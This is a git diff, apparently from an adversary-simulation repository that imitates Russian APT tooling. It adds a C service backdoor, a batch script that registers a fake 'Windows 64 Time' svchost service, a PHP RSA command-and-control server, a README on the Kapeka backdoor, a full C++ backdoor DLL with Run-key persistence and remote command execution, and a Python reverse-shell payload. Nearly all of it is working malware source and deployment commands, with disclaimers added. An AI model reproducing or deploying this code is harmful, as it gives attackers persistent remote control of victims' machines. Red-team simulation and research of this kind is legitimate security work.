malware logic for service: %s\n", serviceName); +} + +DWORD _fastcall ServiceMain(DWORD dwArgc, LPCWSTR *lpszArgv) { + const char *serviceName = (const char *)*lpszArgv; + hServiceStatus = RegisterServiceCtrlHandlerW(*lpszArgv, HandlerProc); + + if (hServiceStatus) { + ServiceStatus.dwCurrentState = SERVICE_RUNNING; + if (SetServiceStatus(hServiceStatus, &ServiceStatus)) { + main_malware(serviceName); + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus(hServiceStatus, &ServiceStatus); + } + } + + return (DWORD)(uintptr_t)hServiceStatus; +} + +sConfig* ReadConfig() { + // Function to read and initialize configuration + sConfig* result = (sConfig *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(sConfig)); + result->Hosts = L"192.168.1.9"; // Adjust the IP address here + result->NumIPs = 1; + result->HostsIndex = 0; + result->TimeLongValue = 30000; // Example value for long sleep time + result->TimeShortValue = 5000; // Example value for short sleep time + result->SecurityValue = L"default_password"; // Example security value + result->MachineGuidValue = L"unique_machine_guid"; // Example machine GUID + result->authenticated = 0; + ZeroMemory(&(result->subprocess), sizeof(PROCESS_INFORMATION)); + return result; +} + +BOOL C2_GetCommand(HINTERNET hConnect, LPCWSTR machineGuid, BYTE **responseData, DWORD *responseDataLength) { + BOOL result = FALSE; + HINTERNET hRequest = NULL; + DWORD bytesRead = 0; + + WCHAR requestPath[256]; + swprintf(requestPath, 256, L"/get_command?guid=%s", machineGuid); + + hRequest = WinHttpOpenRequest(hConnect, L"GET", requestPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); + + if (hRequest) { + if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) && + WinHttpReceiveResponse(hRequest, NULL)) { + WinHttpQueryDataAvailable(hRequest, responseDataLength); + + if (*responseDataLength > 0) { + *responseData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, *responseDataLength + 1); + if (WinHttpReadData(hRequest, *responseData, *responseDataLength, &bytesRead)) { + (*responseData)[*responseDataLength] = 0; // Null-terminate the data + result = TRUE; + } else { + HeapFree(GetProcessHeap(), 0, *responseData); + *responseData = NULL; + } + } + } + WinHttpCloseHandle(hRequest); + } + + return result; +} + +void ProcessCommand(sConfig *config, BYTE *commandData, DWORD commandDataLength) { + printf("Processing command: %s\n", commandData); + + if (strncmp((char *)commandData, "calc", 4) == 0) { + system("calc"); + } + + // Add real command processing logic here +} + +void ServiceLoop() { + HINTERNET hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + HINTERNET hConnect = WinHttpConnect(hSession, config->Hosts, 4444, 0); + + if (!hConnect) goto SHUTDOWN; + + while (1) { + BYTE *commandData = NULL; + DWORD commandDataLength = 0; + + if (!C2_GetCommand(hConnect, config->MachineGuidValue, &commandData, &commandDataLength)) { + goto SHUTDOWN; + } + + ProcessCommand(config, commandData, commandDataLength); + + if (commandData) { + HeapFree(GetProcessHeap(), 0, commandData); + } + + Sleep(config->TimeShortValue); + } + +SHUTDOWN: + if (hConnect) WinHttpCloseHandle(hConnect); + if (hSession) WinHttpCloseHandle(hSession); +} + +int main() { + LPCWSTR argv[] = {L"DummyService"}; + config = ReadConfig(); + ServiceMain(1, argv); + ServiceLoop(); + return 0; +} + diff --git a/Russian APT/Venomous-Bear-APT/setup_time_service.bat b/Russian APT/Venomous-Bear-APT/setup_time_service.bat new file mode 100644 index 0000000..f6e13e3 --- /dev/null +++ b/Russian APT/Venomous-Bear-APT/setup_time_service.bat @@ -0,0 +1,24 @@ +@echo off +:: Create the service +sc create W64Time binPath= "c:\windows\system32\svchost.exe -k TimeService" type= share start= auto + +:: Set the display name and description +sc config W64Time DisplayName= "Windows 64 Time" +sc description W64Time "Maintains date and time synchronization on all clients and servers in the network. If this service is stopped, date and time synchronization will be unavailable. If this service is disabled, any services that explicitly depend on it will fail to start." + +:: Register the service under svchost +reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f + +:: Set parameters for the service +reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%SystemRoot%\system32\w64time.dll" /f +reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Hosts /t REG_SZ /d "REMOVED 5050" /f +reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Security /t REG_SZ /d "" /f +reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeLong /t REG_DWORD /d 300000 /f +reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeShort /t REG_DWORD /d 5000 /f + +:: Start the service +sc start W64Time + +echo Service setup completed. +pause + diff --git a/Russian APT/Voodoo-Bear-APT/C2-Server.php b/Russian APT/Voodoo-Bear-APT/C2-Server.php new file mode 100644 index 0000000..a0b471e --- /dev/null +++ b/Russian APT/Voodoo-Bear-APT/C2-Server.php @@ -0,0 +1,120 @@ + "sha256", + "private_key_bits" => 2048, + "private_key_type" => OPENSSL_KEYTYPE_RSA, + ); + $res = openssl_pkey_new($config); + openssl_pkey_export($res, $private_key); + $public_key = openssl_pkey_get_details($res)["key"]; + + return array($private_key, $public_key); +} + +// Encrypt data using RSA +function rsa_encrypt($data, $public_key) { + openssl_public_encrypt($data, $encrypted_data, $public_key); + return $encrypted_data; +} + +// Decrypt data using RSA +function rsa_decrypt($data, $private_key) { + openssl_private_decrypt($data, $decrypted_data, $private_key); + return $decrypted_data; +} + +// Send encrypted output to the payload +function send_to_payload($socket, $data, $public_key) { + $encrypted_data = rsa_encrypt($data, $public_key); + socket_write($socket, $encrypted_data, strlen($encrypted_data)); +} + +// Encrypted commands from the payload +function receive_from_payload($socket, $buffer_size, $private_key) { + $encrypted_data = socket_read($socket, $buffer_size); + return rsa_decrypt($encrypted_data, $private_key); +} + +echo "\033[0;32m"; +echo << + diff --git a/Russian APT/Voodoo-Bear-APT/README.md b/Russian APT/Voodoo-Bear-APT/README.md new file mode 100644 index 0000000..8cdcfcc --- /dev/null +++ b/Russian APT/Voodoo-Bear-APT/README.md @@ -0,0 +1,96 @@ +# Voodoo Bear APT44 Adversary Simulation + +This is a simulation of attack by (Voodoo Bear) APT44 group targeting entities in Eastern Europe the attack campaign was active as early as mid-2022, +The attack chain starts with backdoor which is a DLL targets both 32-bit and 64-bit Windows environments, It gathers information and fingerprints the user and the machine then sends the information to the attackers-controlled C2, The backdoor uses a multi-threaded approach, and leverages event objects for data synchronization and signaling across threads. I relied on withsecure tofigure out the details to make this simulation: https://labs.withsecure.com/publications/kapeka + +![imageedit_2_8201736021](https://github.com/S3N4T0R-0X0/Voodoo-Bear-APT/assets/121706460/d8af69c6-b3f6-4870-a8d9-6dcf222c7564) + + +Kapeka, which means “little stork” in Russian, is a flexible backdoor written in C++. It allows the threat actors to use it as an early stage toolkit, while also providing long term persistence to the victim network. Kapeka’s dropper is a 32-bit Windows executable that drops and launches the backdoor on a victim machine. The dropper also sets up persistence by creating a scheduled task or autorun registry. Finally, the dropper removes itself from the system. +If you need to know more about Kapeka backdoor for Voodoo Bear APT group: https://blog.polyswarm.io/voodoo-bears-kapeka-backdoor-targets-critical-infrastructure + + +1. RSA C2-Server: I developed C2 server script enable to make remote communication by utilizes RSA encryption for secure data transmission between the attacker server and the target. + +2. Testing payload : I used payload written by Python only to test C2 (testing payload.py), if there were any problems with the connection (just for test connection) before writing the actual payload. + +3. DLL backdoor: I have developed a simulation of the kapeka backdoor that the attackers used in the actual attack. + + +![Screenshot from 2024-06-11 21-44-39](https://github.com/S3N4T0R-0X0/Voodoo-Bear-APT/assets/121706460/a0168811-c96f-4b90-af05-77a4a97ce621) + + + +## The first stage (RSA C2-Server) + +This PHP C2 server script enable to make remote communication by utilizes RSA encryption for secure data transmission between the attacker server and the target. + +![Screenshot from 2024-06-13 22-11-36](https://github.com/S3N4T0R-0X0/Voodoo-Bear-APT/assets/121706460/acddd6d1-60cf-4ea9-a259-e844f2ac02a6) + + +`rsa_encrypt($data, $public_key):` + +Purpose: Encrypts data using the RSA public key. +Process: The function takes the data and the public key as input, then uses openssl_public_encrypt to encrypt the data with the provided public key. +Output: Returns the encrypted data. + +`rsa_decrypt($data, $private_key):` + +Purpose: Decrypts data using the RSA private key. +Process: The function takes the encrypted data and the private key as input, then uses openssl_private_decrypt to decrypt the data with the provided private key. +Output: Returns the decrypted data. + +![Screenshot from 2024-06-13 22-17-12](https://github.com/S3N4T0R-0X0/Voodoo-Bear-APT/assets/121706460/d0701451-ff05-4db8-95fe-e584d688f5b8) + + + +## The Second stage (Testing payload) + +I used payload written by Python only to test C2 (testing payload.py), if there were any problems with the connection (just for test connection) before writing the actual payload. + +![Screenshot from 2024-06-14 17-52-30](https://github.com/S3N4T0R-0X0/Voodoo-Bear-APT/assets/121706460/a87fcabf-f491-4b78-b5b3-300d779cafdd) + + + +RSA and PKCS1_OAEP from pycryptodome: For encryption and decryption using RSA. + +rsa_encrypt(data, public_key): Encrypts data using the provided public key. + +rsa_decrypt(data, private_key): Decrypts data using the provided private key (not used in this script). + + +![Screenshot from 2024-06-14 17-45-29](https://github.com/S3N4T0R-0X0/Voodoo-Bear-APT/assets/121706460/e947a9df-4a03-4e3b-b4a6-d186ee2c0e04) + + +Note: Ensure that the server is correctly sending RSA-encrypted commands and handling the responses appropriately. The script requires the pycryptodome library for RSA encryption and decryption: + + pip install pycryptodome + +## The third stage (kapeka backdoor) + +The Kapeka backdoor is a Windows DLL containing one function which has been exported by ordinal2 (rather than by name). The backdoor is written in C++ and compiled (linker +14.16) using Visual Studio 2017 (15.9). The backdoor file masquerades as a Microsoft Word Add-In with its extension (.wll), but in reality it is a DLL file. + +I have developed a simulation of the kapeka backdoor that the attackers used in the actual attack. + + + +In total, the backdoor launches four main threads: + +• First thread: This is the primary thread which performs the initialization and exit routine, as well as C2 polling to receive tasks or an updated C2 configuration. + +• Second thread: Monitors for Windows log off events, signaling the primary thread to perform the backdoor’s graceful exit routine upon log off. + +![Screenshot from 2024-06-13 17-19-15](https://github.com/S3N4T0R-0X0/Voodoo-Bear-APT/assets/121706460/aef17efa-64ab-4cd4-8e8c-ff21ec9b6ce5) + + +• Third thread: Monitors for incoming tasks to be processed. This thread launches subsequent threads to execute each received task. + +• Fourth thread: Monitors for completion of tasks to send back the processed task results to the C2. + +![Screenshot from 2024-06-13 17-21-20](https://github.com/S3N4T0R-0X0/Voodoo-Bear-APT/assets/121706460/fa745546-7488-4f8b-a118-8c4866418b0c) + + +manual compile:`x86_64-w64-mingw32-g++ -shared -o kapeka_backdoor.dll kapeka_backdoor.cpp -lws2_32` + +Run the DLL:`rundll32.exe kapeka_backdoor.dll,ExportedFunction -d` diff --git a/Russian APT/Voodoo-Bear-APT/WithSecure-Research-Kapeka.pdf b/Russian APT/Voodoo-Bear-APT/WithSecure-Research-Kapeka.pdf new file mode 100644 index 0000000..23ca756 Binary files /dev/null and b/Russian APT/Voodoo-Bear-APT/WithSecure-Research-Kapeka.pdf differ diff --git a/Russian APT/Voodoo-Bear-APT/kapeka_backdoor.cpp b/Russian APT/Voodoo-Bear-APT/kapeka_backdoor.cpp new file mode 100644 index 0000000..96dadd6 --- /dev/null +++ b/Russian APT/Voodoo-Bear-APT/kapeka_backdoor.cpp @@ -0,0 +1,253 @@ +// Permissions: Ensure that you have the necessary permissions to execute and test the DLL on the Windows system. +// Dependencies: The DLL relies on the Winsock library (Ws2_32.lib), which is standard on Windows, so no additional dependencies are required. +// Anti-Virus: Be aware that many anti-virus programs will detect and block backdoor-like activities. This is intended to be an educational example, and any malicious use is illegal and unethical. + +// Disclaimer: this backdoor for research & simulation, i am not responsible if anyone uses this payload for illegal purposes + +// Author: S3N4T0R +// Date: 2024-6-13 + +// manual compile: x86_64-w64-mingw32-g++ -shared -o kapeka_backdoor.dll kapeka_backdoor.cpp -lws2_32 + +// Run the DLL: rundll32.exe kapeka_backdoor.dll,ExportedFunction -d + +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(linker, "/EXPORT:ExportedFunction=_ExportedFunction@0,PRIVATE") +#pragma comment(lib, "Ws2_32.lib") + +#define C2_SERVER_IP "192.168.1.7" +#define C2_SERVER_PORT 7777 + +extern "C" __declspec(dllexport) void ExportedFunction(); + +void primary_thread(HANDLE exit_event, HANDLE new_task_event); +void logoff_monitor_thread(HANDLE exit_event); +void task_monitor_thread(HANDLE new_task_event, HANDLE task_completed_event); +void task_completion_monitor_thread(HANDLE task_completed_event); +std::string execute_command(const std::string& cmd); +std::vector split(const std::string& str, const std::string& delimiter); +void log(const std::string& message); +bool initialize_winsock(); +SOCKET connect_to_c2(); +void close_socket(SOCKET sock); +void send_data(SOCKET sock, const std::string& data); +std::string receive_data(SOCKET sock); + +HANDLE exit_event; +HANDLE new_task_event; +HANDLE task_completed_event; + +extern "C" __declspec(dllexport) void ExportedFunction() { + // This function is exported by ordinal +} + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { + switch (ul_reason_for_call) { + case DLL_PROCESS_ATTACH: { + char cmdLine[MAX_PATH]; + GetModuleFileNameA(hModule, cmdLine, MAX_PATH); + std::string cmd = GetCommandLineA(); + + exit_event = CreateEvent(NULL, TRUE, FALSE, NULL); + new_task_event = CreateEvent(NULL, TRUE, FALSE, NULL); + task_completed_event = CreateEvent(NULL, TRUE, FALSE, NULL); + + if (cmd.find("-d") != std::string::npos) { + // Initial run tasks (e.g., adding to startup) + HKEY hKey; + RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey); + RegSetValueEx(hKey, "KapekaBackdoor", 0, REG_SZ, (BYTE *)cmdLine, strlen(cmdLine) + 1); + RegCloseKey(hKey); + } + + std::thread(primary_thread, exit_event, new_task_event).detach(); + std::thread(logoff_monitor_thread, exit_event).detach(); + std::thread(task_monitor_thread, new_task_event, task_completed_event).detach(); + std::thread(task_completion_monitor_thread, task_completed_event).detach(); + break; + } + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + SetEvent(exit_event); + CloseHandle(exit_event); + CloseHandle(new_task_event); + CloseHandle(task_completed_event); + break; + } + return TRUE; +} + +void primary_thread(HANDLE exit_event, HANDLE new_task_event) { + if (!initialize_winsock()) { + log("Primary thread: Failed to initialize Winsock."); + return; + } + + SOCKET c2_socket = connect_to_c2(); + if (c2_socket == INVALID_SOCKET) { + log("Primary thread: Failed to connect to C2 server."); + WSACleanup(); + return; + } + + while (WaitForSingleObject(exit_event, 1000) == WAIT_TIMEOUT) { + // Poll C2 server for tasks or updated configuration. + log("Primary thread: Polling C2 server..."); + + send_data(c2_socket, "poll"); + std::string response = receive_data(c2_socket); + + if (!response.empty()) { + log("Primary thread: Received task."); + std::ofstream out("tasks.txt"); + out << response; + out.close(); + SetEvent(new_task_event); + } + Sleep(5000); // Simulate delay between polls + } + + close_socket(c2_socket); + WSACleanup(); + log("Primary thread: Exiting..."); +} + +void logoff_monitor_thread(HANDLE exit_event) { + while (WaitForSingleObject(exit_event, 1000) == WAIT_TIMEOUT) { + // Monitor for log off events. + log("Logoff monitor thread: Checking for logoff events..."); + Sleep(10000); // Simulate time delay between checks + } + log("Logoff monitor thread: Exiting..."); +} + +void task_monitor_thread(HANDLE new_task_event, HANDLE task_completed_event) { + while (WaitForSingleObject(new_task_event, 1000) == WAIT_TIMEOUT) { + // Monitor for new tasks to process. + log("Task monitor thread: Waiting for new tasks..."); + + std::ifstream in("tasks.txt"); + std::string line; + while (std::getline(in, line)) { + log("Processing task: " + line); + std::string result = execute_command(line); + log("Task result: " + result); + } + in.close(); + + SetEvent(task_completed_event); + Sleep(1000); // Simulate processing delay + } + log("Task monitor thread: Exiting..."); +} + +void task_completion_monitor_thread(HANDLE task_completed_event) { + while (WaitForSingleObject(task_completed_event, 1000) == WAIT_TIMEOUT) { + // Monitor for task completion. + log("Task completion monitor thread: Task completed."); + + // Simulate sending back results to C2 server + std::ofstream out("results.txt", std::ios_base::app); + out << "Task completed successfully\n"; + out.close(); + + ResetEvent(task_completed_event); + } + log("Task completion monitor thread: Exiting..."); +} + +std::string execute_command(const std::string& cmd) { + char buffer[128]; + std::string result = ""; + FILE* pipe = _popen(cmd.c_str(), "r"); + if (!pipe) { + return "popen failed!"; + } + while (fgets(buffer, sizeof(buffer), pipe) != NULL) { + result += buffer; + } + _pclose(pipe); + return result; +} + +std::vector split(const std::string& str, const std::string& delimiter) { + std::vector tokens; + size_t prev = 0, pos = 0; + do { + pos = str.find(delimiter, prev); + if (pos == std::string::npos) pos = str.length(); + std::string token = str.substr(prev, pos - prev); + if (!token.empty()) tokens.push_back(token); + prev = pos + delimiter.length(); + } while (pos < str.length() && prev < str.length()); + return tokens; +} + +void log(const std::string& message) { + std::ofstream logFile("log.txt", std::ios_base::app); + logFile << message << std::endl; +} + +bool initialize_winsock() { + WSADATA wsaData; + int result = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (result != 0) { + log("Winsock initialization failed."); + return false; + } + return true; +} + +SOCKET connect_to_c2() { + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == INVALID_SOCKET) { + log("Socket creation failed."); + return INVALID_SOCKET; + } + + sockaddr_in server; + server.sin_family = AF_INET; + server.sin_addr.s_addr = inet_addr(C2_SERVER_IP); + server.sin_port = htons(C2_SERVER_PORT); + + if (connect(sock, (sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) { + log("Connection to C2 server failed."); + closesocket(sock); + return INVALID_SOCKET; + } + + log("Connected to C2 server."); + return sock; +} + +void close_socket(SOCKET sock) { + closesocket(sock); + log("Socket closed."); +} + +void send_data(SOCKET sock, const std::string& data) { + send(sock, data.c_str(), data.length(), 0); + log("Data sent: " + data); +} + +std::string receive_data(SOCKET sock) { + char buffer[512]; + int bytesReceived = recv(sock, buffer, sizeof(buffer), 0); + if (bytesReceived == SOCKET_ERROR) { + log("Receive data failed."); + return ""; + } + buffer[bytesReceived] = '\0'; + std::string data(buffer); + log("Data received: " + data); + return data; +} + diff --git a/Russian APT/Voodoo-Bear-APT/testing payload.py b/Russian APT/Voodoo-Bear-APT/testing payload.py new file mode 100644 index 0000000..4d5c57a --- /dev/null +++ b/Russian APT/Voodoo-Bear-APT/testing payload.py @@ -0,0 +1,43 @@ +import socket +import subprocess +from Crypto.PublicKey import RSA +from Crypto.Cipher import PKCS1_OAEP + +ip = "192.168.1.7" +port = 4444 + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect((ip, port)) + +# Receive the public key from the server +public_key_pem = s.recv(2048).decode() +print("[*] Received public key: {}".format(public_key_pem)) +public_key = RSA.import_key(public_key_pem) + +# Encrypt data using RSA +def rsa_encrypt(data, public_key): + cipher = PKCS1_OAEP.new(public_key) + return cipher.encrypt(data.encode()) + +# Decrypt data using RSA +def rsa_decrypt(data, private_key): + cipher = PKCS1_OAEP.new(private_key) + return cipher.decrypt(data).decode() + +while True: + # Receive and decrypt command from the server + encrypted_command = s.recv(256) + cipher = PKCS1_OAEP.new(public_key) + command = cipher.decrypt(encrypted_command).decode() + print("[*] Received command: {}".format(command)) + + if command.lower() == "exit": + break + + try: + output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) + s.sendall(output) + except Exception as e: + s.sendall(str(e).encode()) + +s.close()